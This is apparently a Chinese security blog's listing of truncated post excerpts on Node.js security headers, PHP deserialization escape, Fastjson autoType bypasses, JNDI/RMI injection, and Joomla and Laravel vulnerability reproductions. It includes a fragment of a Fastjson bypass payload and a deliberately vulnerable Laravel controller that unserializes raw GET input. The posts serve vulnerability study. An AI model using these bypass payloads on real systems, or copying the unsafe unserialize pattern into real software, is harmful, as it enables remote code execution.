默认分类 2021-07-06
  • 572
  • 0
  • 前言对于最近学习node.js的一些总结~设置安全的HTTP头在Node.js中可以通过强制设置一些安全的HTTP头来加强网站的安全系数,比如以下:Strict-Transport-Security //强制使用安全连接(SSL/TLS之上的HTTPS)来连接到服务器。 X-Frame-Options //提供对于点击劫持的保护。 X-XSS-Protection //开启大多现代浏览器内建的对于跨站脚本攻击(XSS)的过滤功能。 X-Content-Type-Options // 防止浏览器使用MIME-sniffing 来确定响应的类型,转而使用明确的content-type来确定。 Content-Security-Policy // 防止受到跨站脚本攻击以及其他
    默认分类 2021-07-06
  • 701
  • 0
  • 替换后导致序列化字符变长以下面代码为例,目的是在不直接修改$pass值的情况下间接修改$pass<?php ini_set('display_errors',1); function filter($str){ return str_replace('bb', 'ccc', $str); } class A{ public $name='aaaa'; public $pass='123456'; } $AA=new A(); $res=filter(serialize($AA)); $c=unserialize($res); echo $c->pass; ?>这里首先要知道的是将一个类序列化后的格式,这个是反序列化基础,可以参考https://www.ghtwf01.cn/index.php/archives/223/在反序列化的时候php会根据
    默认分类 2021-07-06
  • 666
  • 0
  • checkAutoType补丁分析在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。补丁绕过(需要开启AutoTypeSupport)这里需要使用如下代码开启AutoTypeSupportParserConfig.getGlobalInstance().setAutoTypeSupport(true);1.2.25-1.2.41补丁绕过漏洞复现payload:{"@type":"Lcom.sun.r
    默认分类 2021-07-06
  • 484
  • 0
  • Fastjson简介Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。项目地址:https://github.com/alibaba/fastjsonFastjson序列化与反序列化序列化Student.javapublic class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() {
    默认分类 2021-07-06
  • 1512
  • 0
  • JDNI利用方式的修复之路RMI Remote Object Payload(限制多,不常使用)攻击者实现一个RMI恶意远程对象并绑定到RMI Registry上,编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上,供受害者的RMI客户端远程加载。RMI客户端在 lookup() 的过程中,会先尝试在本地CLASSPATH中去获取对应的Stub类的定义,并从本地加载,然而如果在本地无法找到,RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象,这种方式将会受到 useCodebaseOnly 的限制。利用条件如下:RMI客户端的上下文环境允许访问远程Codebase。属性 java.rmi.server.useCodebaseOnly 的值必需为false。从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly 的默认值
    默认分类 2021-07-06
  • 596
  • 0
  • JDNIJNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。通过调用JNDI的API应用程序可以定位资源和其他程序对象。JNDI是Java EE的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源),JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。Naming Service 命名服务:命名服务将名称和对象进行关联,提供通过名称找到对象的操作。Directory Service 目录服务:目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。Reference 引用:在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引
    默认分类 2021-07-06
  • 588
  • 0
  • 什么是RMIRMI是远程方法调用的简称,能够帮助我们查找并执行远程对象的方法。通俗地说,远程调用就象将一个class放在A机器上,然后在B机器中调用这个class的方法。RMI(Remote Method Invocation),为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。Java RMI(Java Remote Method Invocation),是Java编程语言里一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。从客户端-服务器模型来看,客户端程序直接调用服务端,两者之间是通过JRMP( J
    默认分类 2021-07-06
  • 597
  • 0
  • EL表达式简介EL(Expression Language) 是为了使JSP写起来更加简单。它提供了在 JSP 中简化表达式的方法,让JSP的代码更加简化。EL表达式主要功能如下:获取数据:EL表达式主要用于替换JSP页面中的脚本表达式,以从各种类型的Web域中检索Java对象、获取数据(某个Web域中的对象,访问JavaBean的属性、访问List集合、访问Map集合、访问数组);执行运算:利用EL表达式可以在JSP页面中执行一些基本的关系运算、逻辑运算和算术运算,以在JSP页面中完成一些简单的逻辑运算,例如${user==null};获取Web开发常用对象:EL表达式定义了一些隐式对象,利用这些隐式对象,Web开发人员可以很轻松获得对Web常用对象的引用,从而获得这些对象中的数据;调用Java方法:EL表达式允许用户开发自定义EL函数,以在JSP页面中通过EL表达式调用Java类的方法
    默认分类 2021-07-06
  • 453
  • 0
  • 环境搭建下载地址:https:downloads.joomla.orgitcmsjoomla33-4-6php版本:5.5.38(复现环境要求php版本低于5.6.40,不支持php7)漏洞分析session逃逸session 在 Joomla 中的处理有一些的问题,它会把没有通过验证的用户名和密码存储在 _session 表中存入和从数据库中取出用了位于 librariesjoomlasessionstoragedatabase.php的write()和read()函数public function write($id, $data) { Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = s
    默认分类 2021-07-06
  • 485
  • 0
  • 5.8.x漏洞复现环境配置写一个DemoController控制器//DemoController.php<?php namespace App\Http\Controllers; class DemoController extends Controller { public function demo() { if(isset($_GET['c'])){ $code = $_GET['c']; unserialize($code); } else{ highlight_file(__FILE__); } return "Welcome to laravel5.8"; } }然后在rou